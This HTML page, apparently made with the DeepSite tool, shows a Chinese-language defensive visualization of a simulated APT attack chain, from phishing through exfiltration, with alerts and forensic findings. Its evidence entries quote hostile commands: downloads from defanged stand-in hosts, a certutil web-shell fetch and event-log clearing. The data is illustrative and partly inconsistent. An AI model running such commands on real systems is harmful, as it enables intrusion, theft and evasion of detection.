File size: 33,306 Bytes
71b16ab 0d77da7 49ef228 0d77da7 49ef228 0d77da7 49ef228 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 49ef228 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab 0d77da7 71b16ab |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>攻击流程时间线可视化</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
.attack-card {
transition: all 0.3s ease;
transform-origin: center;
}
.attack-card:hover {
transform: translateY(-5px);
box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
}
.attack-card.active {
border-left-width: 4px;
transform: translateY(-5px);
}
.timeline-connector {
position: relative;
height: 4px;
background: linear-gradient(90deg, #e5e7eb, #9ca3af);
}
.timeline-connector::after {
content: '';
position: absolute;
top: -4px;
width: 12px;
height: 12px;
border-radius: 50%;
background-color: #3b82f6;
transform: translateX(-50%);
}
.severity-badge {
font-size: 0.65rem;
padding: 0.15rem 0.4rem;
}
.severity-critical {
background-color: #fee2e2;
color: #dc2626;
}
.severity-high {
background-color: #fef3c7;
color: #d97706;
}
.severity-emergency {
background-color: #ffedd5;
color: #ea580c;
}
.defense-badge {
font-size: 0.7rem;
padding: 0.2rem 0.5rem;
}
.animate-pulse-slow {
animation: pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite;
}
@keyframes pulse {
0%, 100% {
opacity: 1;
}
50% {
opacity: 0.5;
}
}
.arrow {
display: inline-block;
width: 24px;
height: 24px;
text-align: center;
line-height: 24px;
color: #9ca3af;
}
.attacker-node {
background-color: #fee2e2;
border-left: 4px solid #dc2626;
}
.compact-card {
min-width: 180px;
width: 180px;
}
.behavior-text {
display: -webkit-box;
-webkit-line-clamp: 3;
-webkit-box-orient: vertical;
overflow: hidden;
text-overflow: ellipsis;
font-size: 0.8rem;
line-height: 1.3;
color: #6b7280;
margin-top: 0.4rem;
min-height: 60px;
}
.attack-details-container {
min-height: 500px;
}
.timeline-container {
min-height: 200px;
}
.full-height {
min-height: calc(100vh - 80px);
}
.attack-flow-container {
padding: 1.5rem 0;
}
</style>
</head>
<body class="bg-gray-50">
<div class="container mx-auto px-6 py-8 full-height">
<div class="text-center mb-10">
<h1 class="text-4xl font-bold text-gray-800 mb-3">高级持续性威胁攻击链可视化分析</h1>
<p class="text-gray-600 text-lg max-w-4xl mx-auto">完整的攻击流程时间线可视化，包含交互式防御检测点与详细取证分析</p>
</div>
<!-- Defense Detection Summary -->
<div class="bg-white rounded-xl shadow-md border border-gray-200 overflow-hidden mb-10">
<div class="border-b border-gray-200 px-8 py-5 bg-gray-50">
<h3 class="font-semibold text-xl text-gray-800">防御检测概览</h3>
</div>
<div id="defense-summary" class="p-8">
<div class="grid grid-cols-1 md:grid-cols-4 gap-8">
<div class="bg-blue-50 p-6 rounded-lg border border-blue-100">
<div class="flex items-center">
<div class="w-14 h-14 rounded-full bg-blue-100 flex items-center justify-center mr-5">
<i class="fas fa-shield-alt text-blue-500 text-xl"></i>
</div>
<div>
<h4 class="text-base font-medium text-gray-800">拦截率</h4>
<p class="text-3xl font-bold text-blue-600">92.5%</p>
<p class="text-xs text-gray-500 mt-1">较上月提升3.2%</p>
</div>
</div>
</div>
<div class="bg-yellow-50 p-6 rounded-lg border border-yellow-100">
<div class="flex items-center">
<div class="w-14 h-14 rounded-full bg-yellow-100 flex items-center justify-center mr-5">
<i class="fas fa-bell text-yellow-500 text-xl"></i>
</div>
<div>
<h4 class="text-base font-medium text-gray-800">告警率</h4>
<p class="text-3xl font-bold text-yellow-600">87.3%</p>
<p class="text-xs text-gray-500 mt-1">误报率2.1%</p>
</div>
</div>
</div>
<div class="bg-green-50 p-6 rounded-lg border border-green-100">
<div class="flex items-center">
<div class="w-14 h-14 rounded-full bg-green-100 flex items-center justify-center mr-5">
<i class="fas fa-search text-green-500 text-xl"></i>
</div>
<div>
<h4 class="text-base font-medium text-gray-800">溯源率</h4>
<p class="text-3xl font-bold text-green-600">78.9%</p>
<p class="text-xs text-gray-500 mt-1">平均响应时间4.2小时</p>
</div>
</div>
</div>
<div class="bg-purple-50 p-6 rounded-lg border border-purple-100">
<div class="flex items-center">
<div class="w-14 h-14 rounded-full bg-purple-100 flex items-center justify-center mr-5">
<i class="fas fa-clock text-purple-500 text-xl"></i>
</div>
<div>
<h4 class="text-base font-medium text-gray-800">攻击时长</h4>
<p class="text-3xl font-bold text-purple-600">7小时</p>
<p class="text-xs text-gray-500 mt-1">从入侵到检测</p>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Attack Timeline -->
<div class="bg-white rounded-xl shadow-md border border-gray-200 p-8 mb-10">
<div class="flex justify-between items-center mb-8">
<div>
<h2 class="text-2xl font-semibold text-gray-800">攻击流程时间线</h2>
<p class="text-gray-500 text-base">点击任意攻击阶段查看详细取证证据与防御措施</p>
</div>
<div class="flex items-center">
<span class="text-sm text-gray-500 mr-3">时间轴缩放:</span>
<button class="px-3 py-1 bg-gray-100 rounded-l-md text-gray-700 hover:bg-gray-200">
<i class="fas fa-search-minus"></i>
</button>
<button class="px-3 py-1 bg-gray-100 border-l border-r border-gray-200 text-gray-700 hover:bg-gray-200">
<i class="fas fa-search"></i>
</button>
<button class="px-3 py-1 bg-gray-100 rounded-r-md text-gray-700 hover:bg-gray-200">
<i class="fas fa-search-plus"></i>
</button>
</div>
</div>
<div class="relative timeline-container">
<div class="attack-flow-container overflow-x-auto pb-6">
<div class="flex space-x-6 items-center">
<!-- Attacker Node -->
<div class="attack-card compact-card flex-shrink-0 bg-white rounded-lg border border-gray-200 overflow-hidden cursor-pointer transition-all duration-300 attacker-node">
<div class="p-5">
<div class="flex items-center justify-center mb-3">
<div class="w-10 h-10 rounded-full bg-red-100 text-red-600 flex items-center justify-center">
<i class="fas fa-user-secret text-lg"></i>
</div>
</div>
<h3 class="font-semibold text-gray-800 text-base text-center">攻击源</h3>
<div class="behavior-text text-center">APT组织"OceanLotus" (海莲花) 已知活跃于东南亚地区</div>
<div class="flex justify-center items-center mt-2">
<span class="text-sm text-gray-400">00:00:00</span>
</div>
</div>
</div>
<div class="arrow">
<i class="fas fa-arrow-right text-xl"></i>
</div>
<!-- Attack cards will be inserted here by JavaScript -->
</div>
</div>
</div>
</div>
<!-- Attack Details -->
<div class="bg-white rounded-xl shadow-md border border-gray-200 overflow-hidden">
<div class="border-b border-gray-200 px-8 py-5 bg-gray-50">
<div class="flex justify-between items-center">
<h3 class="font-semibold text-xl text-gray-800">攻击阶段取证详情</h3>
<button class="px-4 py-2 bg-blue-50 text-blue-600 rounded-md text-sm font-medium hover:bg-blue-100">
<i class="fas fa-download mr-2"></i>导出完整报告
</button>
</div>
</div>
<div id="attack-details" class="p-8 attack-details-container">
<div class="text-center py-16">
<div class="mx-auto w-20 h-20 rounded-full bg-blue-50 flex items-center justify-center mb-5">
<i class="fas fa-mouse-pointer text-blue-500 text-3xl"></i>
</div>
<h4 class="text-xl font-medium text-gray-700 mb-3">选择攻击阶段进行详细分析</h4>
<p class="text-gray-500 text-lg max-w-2xl mx-auto">点击时间线上的任意攻击卡片查看攻击行为和触发防御的详细取证信息</p>
</div>
</div>
</div>
</div>
<script>
// Attack steps data in Chinese
const attackSteps = [
{
id: 1,
title: "钓鱼邮件投递",
icon: "envelope",
color: "bg-red-100 text-red-600",
behavior: "伪造的'季度财务报告'通知邮件，包含伪装为report_Q3_2023.pdf的恶意文件，使用社会工程学诱导用户启用宏",
defenses: "邮件安全网关 + 终端防护",
alerts: [
{
severity: "critical",
message: "检测到伪造发件人 | 发件人: finance@company[.]com → 收件人: 5名财务部门员工 | 包含恶意附件 (SHA256: a1b2c3...) | 识别为APT29钓鱼模板"
},
{
severity: "high",
message: "终端检测到可疑宏执行 | 用户: ZhangSan | 文件: report_Q3_2023.pdf | 触发规则: '可疑VBA代码注入'"
}
],
forensic: [
"发件人IP: 45.67.89.123 (越南)",
"附件SHA256: a1b2c3d4e5f6... (匹配已知APT29样本库)",
"邮件头显示SPF验证失败 (伪造发件人)",
"VBA代码包含PowerShell下载器 (base64编码)",
"5名收件人中3人打开了附件",
"首次检测时间: 2023-11-15 09:23:45"
],
time: "09:23:45"
},
{
id: 2,
title: "木马执行",
icon: "bug",
color: "bg-yellow-100 text-yellow-600",
behavior: "恶意宏触发PowerShell脚本，下载Cobalt Strike DLL并注入到explorer.exe进程，建立持久化注册表项",
defenses: "终端检测与响应(EDR) + 行为分析",
alerts: [
{
severity: "high",
message: "可疑进程注入 | 进程: C:\\Windows\\System32\\explorer.exe → 加载模块: a09xdf.dll | DLL签名无效且匹配已知Cobalt Strike签名"
},
{
severity: "emergency",
message: "异常PowerShell活动 | 命令: Invoke-WebRequest -Uri hxxps://cdn.example[.]com/update.js -OutFile %TEMP%\\svchost.exe"
}
],
forensic: [
"进程树: report_Q3_2023.pdf → winword.exe → powershell.exe → explorer.exe",
"DLL内存分配模式匹配Cobalt Strike Beacon",
"注册表键修改: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WindowsUpdate",
"下载的payload: SHA256 d4e5f6... (Cobalt Strike Beacon)",
"C2域名: cdn.example[.]com (解析到185.123.32.1)",
"首次活动时间: 2023-11-15 09:45:12"
],
time: "09:45:12"
},
{
id: 3,
title: "C2通信建立",
icon: "satellite-dish",
color: "bg-green-100 text-green-600",
behavior: "通过CDN域名(api.cloudfront[.]com)进行HTTPS心跳通信，部署反向SSH隧道到内部跳板服务器，使用证书固定规避检测",
defenses: "网络流量分析(NTA) + 威胁情报",
alerts: [
{
severity: "emergency",
message: "异常出站连接 | 目标IP: 54.231.1.1 (AWS新加坡) | 协议: HTTPS | 异常证书(CN=*.cloudfront[.]com但由通配符Let's Encrypt证书签发)"
},
{
severity: "critical",
message: "威胁情报匹配 | 域名: api.cloudfront[.]com | 关联APT组织: OceanLotus | 置信度: 92%"
}
],
forensic: [
"C2域名: api.cloudfront[.]com (解析到54.231.1.1)",
"HTTPS流量模式: 每17秒5KB心跳包",
"证书签发者: Let's Encrypt R3 (对CDN服务不常见)",
"SSH隧道建立到10.8.8.12(内部测试环境跳板服务器)",
"使用AES-256-CBC加密通信",
"数据外传速率: 平均2.3KB/s",
"首次连接时间: 2023-11-15 10:05:33"
],
time: "10:05:33"
},
{
id: 4,
title: "凭证窃取",
icon: "user-secret",
color: "bg-blue-100 text-blue-600",
behavior: "使用Mimikatz提取LSASS进程内存凭证，窃取Chrome浏览器cookie并伪造User-Agent(同步受害者浏览器指纹)",
defenses: "用户行为分析(UEBA) + 凭证保护",
alerts: [
{
severity: "high",
message: "异常浏览器会话 | 用户: ZhangSan | 源IP: 172.16.1.23 → 设备指纹改变(新的VM特征/QEMU虚拟GPU)"
},
{
severity: "critical",
message: "凭证转储检测 | 进程: lsass.exe | 操作: 读取敏感内存区域 | 工具特征: Mimikatz"
}
],
forensic: [
"内存中检测到Mimikatz进程(伪装为svchost.exe)",
"提取的凭证: 3个域账号(包括域管理员)",
"访问了Chrome cookie数据库(保存了5个内部系统会话)",
"User-Agent更改为: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36'",
"来自172.16.1.23的新登录会话带有VM指纹",
"活动时间: 2023-11-15 11:20:45"
],
time: "11:20:45"
},
{
id: 5,
title: "横向移动",
icon: "arrows-alt-h",
color: "bg-purple-100 text-purple-600",
behavior: "使用窃取的域管理员凭证通过WMI横向移动到财务系统服务器(10.8.8.45)，部署Web Shell后门",
defenses: "网络分段 + 特权访问管理",
alerts: [
{
severity: "critical",
message: "异常WMI连接 | 源IP: 172.16.1.23 → 目标: 10.8.8.45 | 用户: Domain\\Admin | 操作: 创建进程"
},
{
severity: "emergency",
message: "Web Shell检测 | 路径: C:\\inetpub\\wwwroot\\_auth.aspx | 特征: 加密的ASPX后门"
}
],
forensic: [
"WMI连接从172.16.1.23到10.8.8.45",
"执行的命令: cmd.exe /c certutil -urlcache -split -f hxxp://malware.example[.]com/backdoor.aspx C:\\inetpub\\wwwroot\\_auth.aspx",
"Web Shell密码: #Ocean2023!",
"后门通信使用AES-256加密",
"横向移动涉及3台服务器",
"首次活动时间: 2023-11-15 13:15:22"
],
time: "13:15:22"
},
{
id: 6,
title: "数据收集",
icon: "database",
color: "bg-pink-100 text-pink-600",
behavior: "通过Web Shell访问财务数据库，查询敏感交易记录，使用RAR加密压缩数据",
defenses: "数据库审计 + 数据防泄漏",
alerts: [
{
severity: "critical",
message: "异常数据库查询 | 用户: sa | 操作: SELECT * FROM Transactions WHERE amount > 1000000 | 来源IP: 10.8.8.45"
},
{
severity: "high",
message: "大容量数据压缩 | 文件: C:\\temp\\finance_data.rar | 大小: 2.7GB | 包含敏感数据模式"
}
],
forensic: [
"数据库查询: 执行了28次SELECT操作",
"涉及表: Transactions, Customers, BankAccounts",
"压缩文件: finance_data.rar (密码: P@ssw0rd2023)",
"数据分类: 财务记录(85%) + 客户PII(15%)",
"查询模式: 筛选大额交易(>100万)",
"活动时间: 2023-11-15 14:30:18"
],
time: "14:30:18"
},
{
id: 7,
title: "数据外泄",
icon: "file-export",
color: "bg-indigo-100 text-indigo-600",
behavior: "通过DNS隧道分批次传输加密数据到attacker[.]com，使用TXT记录隐藏数据，清理日志痕迹",
defenses: "全流量威胁分析 + 数据防泄漏",
alerts: [
{
severity: "critical",
message: "异常DNS请求 | 目标域名: xyz.attacker[.]com | 请求类型: TXT | 数据量: 142MB (超过阈值500%)"
},
{
severity: "emergency",
message: "日志清除检测 | 系统: 10.8.8.45 | 操作: wevtutil cl security | 关联APT战术: T1070"
}
],
forensic: [
"DNS查询到xyz.attacker[.]com (TXT记录)",
"数据传输速率: 每次查询18.5KB",
"总外泄数据: 2.7GB 通过15,234次DNS请求",
"使用的加密: AES-256-CBC + Base64编码",
"日志清除命令: wevtutil cl security, powershell Clear-EventLog",
"外泄完成时间: 2023-11-15 17:45:30"
],
time: "17:45:30"
}
];
// Render attack cards
const timelineContainer = document.querySelector('.attack-flow-container .flex');
attackSteps.forEach((step, index) => {
const card = document.createElement('div');
card.className = `attack-card compact-card flex-shrink-0 bg-white rounded-lg border border-gray-200 overflow-hidden cursor-pointer transition-all duration-300 ${index === 0 ? 'active border-l-4 border-red-500' : ''}`;
card.innerHTML = `
<div class="p-5">
<div class="flex items-center justify-center mb-3">
<div class="w-10 h-10 rounded-full ${step.color} flex items-center justify-center">
<i class="fas fa-${step.icon} text-lg"></i>
</div>
</div>
<h3 class="font-semibold text-gray-800 text-base text-center">${step.title}</h3>
<div class="behavior-text text-center">${step.behavior}</div>
<div class="flex justify-center items-center mt-2">
<span class="text-sm text-gray-400">${step.time}</span>
</div>
</div>
`;
card.addEventListener('click', () => {
// Update active card
document.querySelectorAll('.attack-card').forEach(c => c.classList.remove('active', 'border-l-4', 'border-red-500', 'border-yellow-500', 'border-green-500', 'border-blue-500', 'border-purple-500', 'border-pink-500', 'border-indigo-500'));
card.classList.add('active', 'border-l-4');
// Add specific border color
if (step.color.includes('red')) card.classList.add('border-red-500');
else if (step.color.includes('yellow')) card.classList.add('border-yellow-500');
else if (step.color.includes('green')) card.classList.add('border-green-500');
else if (step.color.includes('blue')) card.classList.add('border-blue-500');
else if (step.color.includes('purple')) card.classList.add('border-purple-500');
else if (step.color.includes('pink')) card.classList.add('border-pink-500');
else if (step.color.includes('indigo')) card.classList.add('border-indigo-500');
// Update attack details
const detailsContainer = document.getElementById('attack-details');
detailsContainer.innerHTML = `
<div>
<div class="flex items-center mb-8">
<div class="w-16 h-16 rounded-full ${step.color} flex items-center justify-center mr-6">
<i class="fas fa-${step.icon} text-2xl"></i>
</div>
<div>
<h3 class="text-2xl font-semibold text-gray-800">${step.title}</h3>
<div class="flex items-center mt-1">
<span class="text-sm bg-gray-100 text-gray-800 px-3 py-1 rounded-full mr-3">阶段 ${step.id}</span>
<span class="text-sm text-gray-500"><i class="far fa-clock mr-1"></i>${step.time}</span>
</div>
</div>
</div>
<div class="grid grid-cols-1 lg:grid-cols-2 gap-8">
<div>
<div class="mb-8">
<h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
<i class="fas fa-bug mr-2 text-gray-500"></i> 攻击行为分析
</h4>
<div class="bg-gray-50 p-5 rounded-lg border border-gray-200 text-base text-gray-700 leading-relaxed">
${step.behavior}
</div>
</div>
<div class="mb-8">
<h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
<i class="fas fa-shield-alt mr-2 text-gray-500"></i> 触发防御措施
</h4>
<div class="flex items-center bg-blue-50 p-4 rounded-lg border border-blue-200">
<div class="w-12 h-12 rounded-full bg-blue-100 flex items-center justify-center mr-4">
<i class="fas fa-${step.defenses.includes('邮件') ? 'envelope' : step.defenses.includes('终端') ? 'desktop' : step.defenses.includes('网络') ? 'network-wired' : step.defenses.includes('用户') ? 'user-shield' : step.defenses.includes('数据') ? 'database' : 'shield-alt'} text-blue-500"></i>
</div>
<div>
<h4 class="font-medium text-gray-800">${step.defenses}</h4>
<p class="text-sm text-gray-500 mt-1">检测时间 ${step.time}</p>
</div>
</div>
</div>
</div>
<div>
<div class="mb-8">
<h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
<i class="fas fa-exclamation-triangle mr-2 text-gray-500"></i> 安全告警
</h4>
<div class="space-y-4">
${step.alerts.map(alert => `
<div class="p-4 rounded-lg border ${alert.severity === 'critical' ? 'bg-red-50 border-red-100' : alert.severity === 'high' ? 'bg-yellow-50 border-yellow-100' : 'bg-orange-50 border-orange-100'}">
<div class="flex items-start">
<div class="flex-shrink-0 mt-1 mr-3">
<i class="fas fa-${alert.severity === 'critical' ? 'exclamation-triangle text-red-500' : alert.severity === 'high' ? 'exclamation-circle text-yellow-500' : 'exclamation text-orange-500'} text-lg"></i>
</div>
<div>
<div class="font-medium text-gray-800 mb-1">${alert.severity === 'critical' ? '严重' : alert.severity === 'high' ? '高危' : '紧急'}告警</div>
<div class="text-sm text-gray-700">${alert.message}</div>
</div>
</div>
</div>
`).join('')}
</div>
</div>
<div>
<h4 class="font-medium text-lg text-gray-800 mb-4 flex items-center">
<i class="fas fa-search mr-2 text-gray-500"></i> 取证证据
</h4>
<div class="bg-gray-50 p-5 rounded-lg border border-gray-200">
<div class="space-y-3">
${step.forensic.map(item => `
<div class="flex items-start text-base">
<div class="flex-shrink-0 mt-1.5 mr-3">
<div class="w-2 h-2 rounded-full bg-gray-500"></div>
</div>
<div class="text-gray-700">${item}</div>
</div>
`).join('')}
</div>
</div>
</div>
</div>
</div>
<div class="mt-8 pt-6 border-t border-gray-200">
<h4 class="font-medium text-lg text-gray-800 mb-4">关联攻击指标(IoCs)</h4>
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
<div class="bg-gray-50 p-4 rounded-lg border border-gray-200">
<div class="text-sm font-medium text-gray-500 mb-2">恶意文件</div>
<div class="text-sm font-mono text-gray-800 break-all">SHA256: a1b2c3d4e5f6...</div>
</div>
<div class="bg-gray-50 p-4 rounded-lg border border-gray-200">
<div class="text-sm font-medium text-gray-500 mb-2">C2服务器</div>
<div class="text-sm font-mono text-gray-800">api.cloudfront[.]com</div>
</div>
<div class="bg-gray-50 p-4 rounded-lg border border-gray-200">
<div class="text-sm font-medium text-gray-500 mb-2">攻击者IP</div>
<div class="text-sm font-mono text-gray-800">45.67.89.123</div>
</div>
</div>
</div>
</div>
`;
});
// Add card and arrow to timeline
timelineContainer.appendChild(card);
// Add arrow after each card except the last one
if (index < attackSteps.length - 1) {
const arrow = document.createElement('div');
arrow.className = 'arrow';
arrow.innerHTML = '<i class="fas fa-arrow-right text-xl"></i>';
timelineContainer.appendChild(arrow);
}
});
// Auto-select first card on load
document.querySelectorAll('.attack-card')[1].click();
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bas5" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html> |